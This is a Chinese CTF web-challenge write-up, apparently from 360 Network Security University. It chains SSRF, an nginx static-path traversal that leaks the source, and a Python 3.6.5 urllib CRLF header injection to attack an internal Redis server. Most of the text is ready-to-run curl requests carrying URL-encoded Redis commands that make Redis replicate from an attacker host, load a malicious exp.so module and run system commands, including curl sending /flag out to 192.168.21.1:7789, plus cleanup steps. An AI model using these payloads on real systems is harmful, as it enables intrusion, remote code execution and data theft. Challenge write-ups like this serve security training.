用Python写的一个网站
好像还没有写完?
2
题目类型:Web
解题思路:
1.打开网站,输入
并提交,发现显示百度页面。发现存在SSRF漏洞,测试发现只能使用http协议。
2.查看请求头,发现服务器使用了nginx,后端python版本为3.6.5。
3.猜测存在nginx目录穿越漏洞,访问
http://127.0.0.1:8000/static../main.py
可直接下载源码。
4.通过源码可以看出,服务器对请求的URL进行了判断,只能请求http://开头的。查找python历史漏洞,发现python3.6.5的urllib库存在http头注入漏洞。
https://bugs.python.org/issue35906
5. 进行测试,确认存在http头注入漏洞:
6.所以该题的思路就为:利用http头注入,攻击内网redis,获取redis服务器权限。
7.借用
https://github.com/Ridter/redis-rce/blob/master/redis-rce.py
利用脚本,修改脚本为本地的redis-poc.py,且利用其中的mk_cmd函数进行命令的构造。
8.完整攻击步骤:
# step 1, 开启恶意redis服务(附件下载)
python redis-poc.py -r 127.0.0.1 -p 6379 -L 0.0.0.0 -P
7789 -f exp.so
# step 2,设置redis的主服务器为恶意redis服务.
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
SLAVEOF 192.168.21.1 7789 //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a
CONFIG SET dbfilename exp.so //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a
curl http://127.0.0.1:8000/ -XPOST --data
'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'
# step 3 加载恶意模块
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
MODULE LOAD ./exp.so //
*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a
SLAVEOF NO ONE //
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'
# step 4 执行命令,因为无回显,所以利用curl命令把flag文件传输出去
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
system.exec 'curl -F "file=@/flag"
http://192.168.21.1:7789' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a
curl http://127.0.0.1:8000/ -XPOST --data
'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'
# step 5 删除恶意模块,关闭恶意模块。
auth password123 //
*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
CONFIG SET dbfilename dump.rdb //
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a
system.exec 'rm ./exp.so' //
*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a
MODULE UNLOAD system //
*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a
curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a
扫码关注我们
360网络安全大学
如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系
university@360.cn。

